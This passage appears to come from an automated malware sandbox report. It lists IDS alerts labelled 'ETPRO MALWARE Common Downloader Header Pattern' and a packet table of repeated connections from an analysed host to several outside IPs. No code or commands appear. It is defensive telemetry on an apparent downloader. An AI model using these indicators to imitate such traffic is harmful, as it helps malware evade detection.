2024-11-20T07:52:19.462372+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	193.122.130.0	80	TCP
2024-11-20T07:52:19.513508+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	188.114.97.3	443	TCP
2024-11-20T07:52:20.075811+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.97.3	443	TCP
2024-11-20T07:52:20.634261+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	193.122.130.0	80	TCP
2024-11-20T07:52:21.872740+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49752	188.114.96.3	443	TCP
2024-11-20T07:52:23.778611+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	188.114.96.3	443	TCP
2024-11-20T07:52:24.029099+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	188.114.96.3	443	TCP
2024-11-20T07:52:26.148930+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	443	TCP
2024-11-20T07:52:27.582198+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61283	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:52:10.318958998 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:10.323846102 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:10.324405909 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:10.325648069 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:10.330590010 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:11.369198084 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:11.440049887 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:11.445100069 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:12.561940908 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:12.680752993 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:12.680804014 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:12.680893898 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:12.696787119 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:12.721900940 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:12.721936941 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.184176922 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.184319973 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.205862999 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.205887079 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.206190109 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.334290028 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.375328064 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.440099955 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.440171957 CET	443	49735	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.440507889 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.479331970 CET	49735	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.499758959 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:13.505085945 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:13.604727030 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:13.607877016 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.607903957 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.609716892 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.610183001 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:13.610192060 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:13.697026968 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.096833944 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:14.098707914 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.098737001 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:14.228902102 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:14.228962898 CET	443	49737	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:14.229619026 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.229923010 CET	49737	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.233418941 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.234529018 CET	49738	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.238662958 CET	80	49733	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:14.239507914 CET	80	49738	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:14.239626884 CET	49733	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.239670038 CET	49738	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.239823103 CET	49738	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:14.244858980 CET	80	49738	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:14.940684080 CET	80	49738	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:14.941998959 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.942035913 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:14.942095995 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.942348003 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:14.942362070 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:15.024960995 CET	49738	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:15.397756100 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:15.399653912 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:15.399677992 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:15.513544083 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:15.513638020 CET	443	49739	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:15.513778925 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:15.514215946 CET	49739	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:15.519593000 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:15.524590015 CET	80	49740	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:15.524708986 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:15.524806023 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:15.529684067 CET	80	49740	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:16.598887920 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:16.604011059 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:16.604114056 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:16.604588032 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:16.609596014 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:16.666760921 CET	80	49740	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:16.668525934 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:16.668631077 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:16.668724060 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:16.669045925 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:16.669080973 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:16.727998018 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.129633904 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:17.131735086 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:17.131776094 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:17.142674923 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:17.151498079 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.156394958 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:17.280802011 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:17.280865908 CET	443	49742	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:17.280956984 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:17.281397104 CET	49742	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:17.288774014 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.289474964 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.297240019 CET	80	49743	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:17.297246933 CET	80	49740	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:17.297326088 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.297353029 CET	49740	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.297436953 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:17.302252054 CET	80	49743	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:18.188131094 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:18.230266094 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.230313063 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.230465889 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.234922886 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.234936953 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.243695021 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:18.696857929 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.696980000 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.699285030 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.699295998 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.699640036 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.743712902 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.846545935 CET	80	49743	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:18.899869919 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:18.945431948 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.945512056 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:18.945642948 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.946315050 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:18.946345091 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.189605951 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.235330105 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.299958944 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.300029993 CET	443	49744	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.300193071 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.304037094 CET	49744	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.308557987 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.313532114 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:19.398497105 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.400697947 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.400765896 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.414479971 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:19.417197943 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.417260885 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.417437077 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.417769909 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.417799950 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.462372065 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.513514042 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.513581038 CET	443	49745	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.513699055 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.514292002 CET	49745	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.518639088 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.519917965 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.523821115 CET	80	49743	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:19.523962975 CET	49743	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.524764061 CET	80	49747	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:19.524863958 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.524987936 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:19.529803991 CET	80	49747	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:19.920553923 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:19.922390938 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:19.922439098 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:20.009561062 CET	80	49747	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.018743992 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.018791914 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.018857956 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.019155979 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.019171000 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.056193113 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.075828075 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:20.075896025 CET	443	49746	188.114.97.3	192.168.2.4
Nov 20, 2024 07:52:20.076116085 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:20.076463938 CET	49746	443	192.168.2.4	188.114.97.3
Nov 20, 2024 07:52:20.080478907 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.081752062 CET	49749	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.085773945 CET	80	49741	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.085839033 CET	49741	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.086711884 CET	80	49749	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.086822987 CET	49749	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.086951971 CET	49749	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.092398882 CET	80	49749	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.489943981 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.491785049 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.491822004 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.587681055 CET	80	49749	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.589453936 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.589504004 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.589570999 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.589952946 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.589963913 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.620990992 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.621140003 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:20.621205091 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.621777058 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:20.625353098 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.626733065 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.630686998 CET	80	49747	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.630763054 CET	49747	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.631772041 CET	80	49751	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:20.631932020 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.632050991 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.634260893 CET	49749	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:20.637120962 CET	80	49751	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.094069004 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.134260893 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.168705940 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.168732882 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.240581036 CET	80	49751	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.241926908 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.241975069 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.242046118 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.242321968 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.242356062 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.284296989 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.284358025 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.284425974 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.284936905 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.290508986 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.300534010 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.305381060 CET	80	49754	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.305478096 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.305669069 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.310518980 CET	80	49754	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.722657919 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.757750988 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.757781029 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.872848988 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.873034954 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:21.873128891 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.875493050 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:21.893385887 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.894094944 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.898513079 CET	80	49751	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.898585081 CET	49751	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.898973942 CET	80	49755	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:21.899059057 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.899164915 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:21.904015064 CET	80	49755	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.158598900 CET	80	49754	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.160501957 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.160567045 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.160695076 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.161106110 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.161123037 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.212373018 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.388186932 CET	80	49755	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.389473915 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.389523983 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.389657021 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.389938116 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.389955044 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.431340933 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.636738062 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.646564960 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.646646023 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.778620958 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.778686047 CET	443	49759	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.778948069 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.779361010 CET	49759	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.783706903 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.783992052 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.788772106 CET	80	49762	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.788832903 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.788970947 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.789465904 CET	80	49754	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.789511919 CET	49754	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:23.793796062 CET	80	49762	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:23.874299049 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:23.884010077 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:23.884030104 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:24.029120922 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:24.029186964 CET	443	49760	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:24.029314041 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:24.035851002 CET	49760	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:24.069381952 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:24.071445942 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:24.074882030 CET	80	49755	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:24.074959040 CET	49755	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:24.076466084 CET	80	49763	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:24.076560974 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:24.076741934 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:24.083189964 CET	80	49763	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:25.552380085 CET	80	49762	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:25.558695078 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.558743000 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:25.559009075 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.561306953 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.561319113 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:25.603216887 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:25.731915951 CET	80	49763	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:25.733099937 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.733150959 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:25.733383894 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.733659983 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:25.733675003 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:25.774918079 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.016578913 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.027354956 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.027396917 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.148950100 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.149024010 CET	443	49765	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.149152040 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.149681091 CET	49765	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.154051065 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.154871941 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.159153938 CET	80	49762	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:26.159212112 CET	49762	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.159702063 CET	80	61281	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:26.159778118 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.159900904 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.164675951 CET	80	61281	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:26.208085060 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.218035936 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.218076944 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.360060930 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.360141993 CET	443	61280	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.360197067 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.360714912 CET	61280	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.377496004 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.382683992 CET	80	49763	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:26.382733107 CET	49763	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:26.386410952 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:26.386442900 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:26.386502981 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:26.386971951 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:26.386981964 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:26.906852961 CET	80	61281	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:26.939892054 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.939930916 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.940021992 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.940779924 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:26.940793991 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:26.962404013 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.007286072 CET	443	61282	149.154.167.220	192.168.2.4
